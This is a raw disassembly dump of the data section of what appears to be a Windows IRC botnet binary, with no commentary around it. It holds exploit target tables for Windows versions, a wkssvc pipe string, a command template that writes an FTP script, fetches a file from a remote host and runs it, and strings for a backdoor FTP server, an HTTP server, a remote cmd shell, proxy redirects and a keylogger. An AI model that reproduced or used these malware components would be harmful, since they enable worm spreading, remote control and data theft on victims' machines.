aWindowsUk2k_22	db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se	db 'Windows uk 2k3 se sp0 24',0
		align 4
aWindowsUk2k_23	db 'Windows uk 2k3 se sp0 23',0
		align 10h
aWindowsUk2k_24	db 'Windows uk 2k3 se sp0 22',0
		align 4
aWindowsUk2k_25	db 'Windows uk 2k3 se sp0 21',0
		align 4
aWindowsUk2k_26	db 'Windows uk 2k3 se sp0 20',0
		align 4
aWindowsUk2k_27	db 'Windows uk 2k3 se sp0 19',0
		align 10h
aWindowsUk2k_28	db 'Windows uk 2k3 se sp0 18',0
		align 4
aWindowsUk2k_29	db 'Windows uk 2k3 se sp0 17',0
		align 4
aWindowsUk2k_30	db 'Windows uk 2k3 se sp0 16',0
		align 4
aWindowsUk2k_31	db 'Windows uk 2k3 se sp0 15',0
		align 10h
aWindowsUk2k_32	db 'Windows uk 2k3 se sp0 14',0
		align 4
aWindowsUk2k_33	db 'Windows uk 2k3 se sp0 13',0
		align 4
aWindowsUk2k_34	db 'Windows uk 2k3 se sp0 12',0
		align 4
aWindowsUk2k_35	db 'Windows uk 2k3 se sp0 11',0
		align 10h
aWindowsUk2k_36	db 'Windows uk 2k3 se sp0 10',0
		align 4
aWindowsUk2k_37	db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_38	db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_39	db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_40	db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_41	db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_42	db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_43	db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_44	db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_45	db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpPro	db 'Windows uk xp pro sp1 25',0
		align 10h
aWindowsUkXpP_0	db 'Windows uk xp pro sp1 24',0
		align 4
aWindowsUkXpP_1	db 'Windows uk xp pro sp1 23',0
		align 4
aWindowsUkXpP_2	db 'Windows uk xp pro sp1 22',0
		align 4
aWindowsUkXpP_3	db 'Windows uk xp pro sp1 21',0
		align 10h
aWindowsUkXpP_4	db 'Windows uk xp pro sp1 20',0
		align 4
aWindowsUkXpP_5	db 'Windows uk xp pro sp1 19',0
		align 4
aWindowsUkXpP_6	db 'Windows uk xp pro sp1 18',0
		align 4
aWindowsUkXpP_7	db 'Windows uk xp pro sp1 17',0
		align 10h
aWindowsUkXpP_8	db 'Windows uk xp pro sp1 16',0
		align 4
aWindowsUkXpP_9	db 'Windows uk xp pro sp1 15',0
		align 4
aWindowsUkXp_10	db 'Windows uk xp pro sp1 14',0
		align 4
aWindowsUkXp_11	db 'Windows uk xp pro sp1 13',0
		align 10h
aWindowsUkXp_12	db 'Windows uk xp pro sp1 12',0
		align 4
aWindowsUkXp_13	db 'Windows uk xp pro sp1 11',0
		align 4
aWindowsUkXp_14	db 'Windows uk xp pro sp1 10',0
		align 4
aWindowsUkXp_15	db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_16	db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_17	db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_18	db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_19	db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_20	db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_21	db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_22	db 'Windows uk xp pro sp1 2',0
aWindowsUkXp_23	db 'Windows uk xp pro sp1 1',0 ; DATA XREF: .data:004415A0o
aWindows2000Sp4	db 'Windows 2000 SP4 GER FAT32',0
		align 4
aWindowsNlSp123	db 'Windows nl sp1 23',0
		align 4
aWindowsNlSp122	db 'Windows nl sp1 22',0
		align 10h
aWindowsNlSp121	db 'Windows nl sp1 21',0
		align 4
aWindowsNlSp120	db 'Windows nl sp1 20',0
		align 4
aWindowsNlSp119	db 'Windows nl sp1 19',0
		align 4
aWindowsNlSp118	db 'Windows nl sp1 18',0
		align 10h
aWindowsNlSp117	db 'Windows nl sp1 17',0
		align 4
aWindowsNlSp116	db 'Windows nl sp1 16',0
		align 4
aWindowsNlSp115	db 'Windows nl sp1 15',0
		align 4
aWindowsNlSp114	db 'Windows nl sp1 14',0
		align 10h
aWindowsNlSp113	db 'Windows nl sp1 13',0
		align 4
aWindowsNlSp112	db 'Windows nl sp1 12',0
		align 4
aWindowsNlSp111	db 'Windows nl sp1 11',0
		align 4
aWindowsNlSp110	db 'Windows nl sp1 10',0
		align 10h
aWindowsNlSp19	db 'Windows nl sp1 9',0
		align 4
aWindowsNlSp18	db 'Windows nl sp1 8',0
		align 4
aWindowsNlSp17	db 'Windows nl sp1 7',0
		align 4
aWindowsNlSp16	db 'Windows nl sp1 6',0
		align 10h
aWindowsNlSp15	db 'Windows nl sp1 5',0
		align 4
aWindowsNlSp14	db 'Windows nl sp1 4',0
		align 4
aWindowsNlSp13	db 'Windows nl sp1 3',0
		align 4
aWindowsNlSp12	db 'Windows nl sp1 2',0
		align 10h
aWindowsNlSp11	db 'Windows nl sp1 1',0
		align 4
aWindowsXpSp01E	db 'Windows XP SP0+1 ENG',0 ; DATA XREF: .data:00441410o
		align 4
aWindowsXpSp01G	db 'Windows XP SP0+1 GER+NL+IT+FR',0
		align 4
dword_433F2C	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_410F37+256o
dword_433F40	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_410F37+20Co
; char aSPipeWkssvc[]
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_410F37+1B5o
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_411555+12Do
					; sub_41C9D4+1Fo
; char aEchoOpenSDOE_0[]
aEchoOpenSDOE_0	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_411722+27Co
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
; char asc_433FE0[]
asc_433FE0	db '-'                  ; DATA XREF: sub_411722+20Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aClientConnecti	db '- Client connection from IP: %s:%d.',0
		align 4
; char asc_434018[]
asc_434018	db '-'                  ; DATA XREF: sub_411722+F1o
					; sub_411722+172o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aErrorBindFaile	db '- Error: bind() failed, returned: <%d>.',0
		align 4
; char asc_434054[]
asc_434054	db '-'                  ; DATA XREF: sub_411722+6Bo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_411B17+5B7o
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_411B17+599o
		align 10h
; char asc_4340D0[]
asc_4340D0	db '-'                  ; DATA XREF: sub_411B17+548o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    3
		db 2, 2Dh, 20h
aSentFileToS	db 'sent file to %s',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_411B17+536o
; char asc_434104[]
asc_434104	db '-'                  ; DATA XREF: sub_411B17+4ECo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    3
		db 2, 2Dh, 20h
aStartingTransf	db 'starting transfer to %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_411B17+4C3o
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_411B17+4ABo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_411B17+49Eo
		align 4
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_411B17+48Do
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_411B17+45Ao
		align 10h
; char aS_2[]
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_411B17+416o
		db ']',0
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_411B17+3DDo
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_411B17+3BCo
		align 4
; char aList_0[]
aList_0		db 'LIST',0             ; DATA XREF: sub_411B17+3A8o
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_411B17+371o
		align 4
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_411B17+35Do
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_411B17+350o
; char aI_0[]
aI_0:					; DATA XREF: sub_411B17+33Co
					; .data:00442F50o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_411B17+318o
; char aA_0[]
aA_0:					; DATA XREF: sub_411B17+304o
					; .data:00442F5Co
		unicode	0, <A>,0
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_411B17+2EDo
					; sub_411B17+325o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_411B17+2E0o
		align 4
; char off_43426C[]
off_43426C	dd offset dword_445750	; DATA XREF: sub_411B17+2CCo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_411B17+2BFo
		align 4
; char aRest[]
aRest		db 'REST',0             ; DATA XREF: sub_411B17+2ABo
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_411B17+29Eo
		align 4
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_411B17+28Ao
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_411B17+27Do
		align 4
; char aPass_0[]
aPass_0		db 'PASS',0             ; DATA XREF: sub_411B17+269o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_411B17+25Co
		align 4
; char aUser_1[]
aUser_1		db 'USER',0             ; DATA XREF: sub_411B17+247o
		align 4
; char aSS_3[]
aSS_3		db '%s %s',0            ; DATA XREF: sub_411B17+239o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_411B17+1BEo
		align 4
; char aFoundIFilesAnd[]
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_412135+64Do
		align 10h
; char aTrTdColspan3_0[]
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_412135+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_412135+61Do
		align 4
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_412135+58Eo
		align 8
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_412135+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_412135:loc_412658o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_412135+51Co
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_412135+476o
		align 10h
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_412135+439o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_412135+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_412135:loc_412502o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_412135+3C6o
		align 10h
; char aSS_4[]
aSS_4		db '%s%s/',0            ; DATA XREF: sub_412135+379o
		align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_412135+335o
					; sub_412135+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
; char aPrivmsgS31s21s[]
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_412135+308o
		align 4
; char aS_3[]
aS_3		db '<%s>',0             ; DATA XREF: sub_412135+2DEo
					; sub_412135+418o
		align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_412135+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_412135+293o
		align 10h
aPm_0		db 'PM',0               ; DATA XREF: sub_412135+288o
		align 4
; char a__[]
a__		db '..',0               ; DATA XREF: sub_412135+231o
		align 4
; char aTrTdColspan3AH[]
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_412135+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aSearchingForS[]
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135:loc_412276o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_412135+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
; char aTrTdWidthDCode[]
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_412135+F2o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_412135+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_412135+6Eo
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135+45o
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4128A1+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4129C2+E3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4129C2+C9o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_4129C2+93o
					; sub_41D779+17Do
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4129C2+7Ao
		align 4
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_4129C2:loc_412A29o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_4129C2+60o
		align 4
; char asc_4349C4[]
asc_4349C4	db '-'                  ; DATA XREF: sub_412B2A+27Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
; char asc_4349FC[]
asc_4349FC	db '-'                  ; DATA XREF: sub_412B2A+20Ao
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
; char asc_434A30[]
asc_434A30	db '*',0                ; DATA XREF: sub_412B2A+156o
		align 4
aS_9		db '\%s',0              ; DATA XREF: sub_412B2A+2Fo
; char asc_434A38[]
asc_434A38	db '-'                  ; DATA XREF: sub_412DD9+3E3o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
; char asc_434A60[]
asc_434A60	db 0Dh,0Ah,0		; DATA XREF: sub_412DD9+2C0o
					; sub_41D235+E9o
		align 4
; char aGet_0[]
aGet_0		db 'GET ',0             ; DATA XREF: sub_412DD9+25Ao
		align 4
; char asc_434A6C[]
asc_434A6C	db '-'                  ; DATA XREF: sub_41321D+180o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerFailed_0	db '- server failed, returned %d',0
		align 4
; char aUseridUnixS[]
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41321D+113o
; char asc_434AB0[]
asc_434AB0	db '-'                  ; DATA XREF: sub_41321D+BBo
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aClientConnec_0	db '- client connection from %s:%d.',0
		align 10h
; char asc_434AE0[]
asc_434AE0	db '-'                  ; DATA XREF: sub_413483+159o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_38	db 'Failed to start connection thread, error: <%d>.',0
; char asc_434B20[]
asc_434B20	db '-'                  ; DATA XREF: sub_413483+E3o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_434B64[]
asc_434B64	db '-'                  ; DATA XREF: sub_41366C+14Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_39	db 'Failed to start client thread, error: <%d>.',0
; char asc_434BA0[]
asc_434BA0	db '-'                  ; DATA XREF: sub_41366C+EBo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_2	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_434BE8[]
asc_434BE8	db '-'                  ; DATA XREF: sub_4137FD:loc_41382Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
; char asc_434C14[]
asc_434C14	db '-'                  ; DATA XREF: sub_413848+178o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
; char asc_434C4C[]
asc_434C4C	db '-'                  ; DATA XREF: sub_413848+1ECo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
; char asc_434C78[]
asc_434C78	db '-'                  ; DATA XREF: sub_413848+1CCo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
; char asc_434CA4[]
asc_434CA4	db '-'                  ; DATA XREF: sub_413848+1ACo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_413848+188o
		align 10h
; char asc_434CE0[]
asc_434CE0	db '-'                  ; DATA XREF: sub_413848+F1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
; char asc_434D0C[]
asc_434D0C	db '-'                  ; DATA XREF: sub_413A51+21Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
; char asc_434D44[]
asc_434D44	db '-'                  ; DATA XREF: sub_413A51+1D0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_40	db '- Failed to start client thread, error: <%d>.',0
		align 10h
; char asc_434D80[]
asc_434D80	db '-'                  ; DATA XREF: sub_413A51+15Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_434DC4	db  2Dh	; -		; DATA XREF: sub_413A51+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 10h
; char asc_434E00[]
asc_434E00	db '-'                  ; DATA XREF: sub_413A51+72o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
; char asc_434E44[]
asc_434E44	db '-'                  ; DATA XREF: sub_413A51+40o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
; char asc_434E70[]
asc_434E70	db '-'                  ; DATA XREF: sub_413CD4+BFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_413CD4+88o
		align 10h
; char asc_434EB0[]
asc_434EB0	db '-'                  ; DATA XREF: sub_413DA8+89o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
unk_434EEC	db  2Dh	; -		; DATA XREF: sub_413F5A+B2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell.',0
; char asc_434F14[]
asc_434F14	db '-'                  ; DATA XREF: sub_413F5A+82o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 8
unk_434F58	db  2Dh	; -		; DATA XREF: sub_413F5A+5Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_434F98[]
asc_434F98	db '-'                  ; DATA XREF: sub_414056+E2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 10h
; char asc_434FD0[]
asc_434FD0	db '-'                  ; DATA XREF: sub_414056+59o
					; sub_414056+8Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
; char dword_435018[]
dword_435018	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4142A9+186o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_43505C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4142A9+166o
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
; char dword_43509C[]
dword_43509C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4142A9+C6o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
; char asc_4350DC[]
asc_4350DC	db '-'                  ; DATA XREF: sub_4144B2+1A4o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_41	db '- Failed to start server on Port %d.',0
		align 10h
; char asc_435110[]
asc_435110	db '-'                  ; DATA XREF: sub_4144B2+16Fo
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 10h
; char asc_435150[]
asc_435150	db '-'                  ; DATA XREF: sub_4144B2+10Ao
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aClientConnec_4	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_435194	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_4146A1+417o
; char asc_4351A0[]
asc_4351A0	db '-'                  ; DATA XREF: sub_4146A1+3C5o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFileSentToS	db ' file sent to %s',0
		align 10h
; char asc_4351C0[]
asc_4351C0	db '-'                  ; DATA XREF: sub_4146A1+2E3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aSendingDataPac	db ' sending data packets to %s',0
; char asc_4351E8[]
asc_4351E8	db '-'                  ; DATA XREF: sub_4146A1+170o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToOpenFi	db ' Failed to open file: %s.',0
		align 10h
; char asc_435210[]
asc_435210	db '-'                  ; DATA XREF: sub_4146A1+64o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aErrorSocketF_0	db ' Error: socket() failed, returned: <%d>.',0
		align 4
; char asc_435248[]
asc_435248	db '-'                  ; DATA XREF: sub_414B1C+ACo
byte_435249	db 3, 34h, 2		; DATA XREF: .rdata:off_4352CCo
		dd 6C79656Bh, 302676Fh,	7325202Dh, 0
; char aDDDDDDS[]
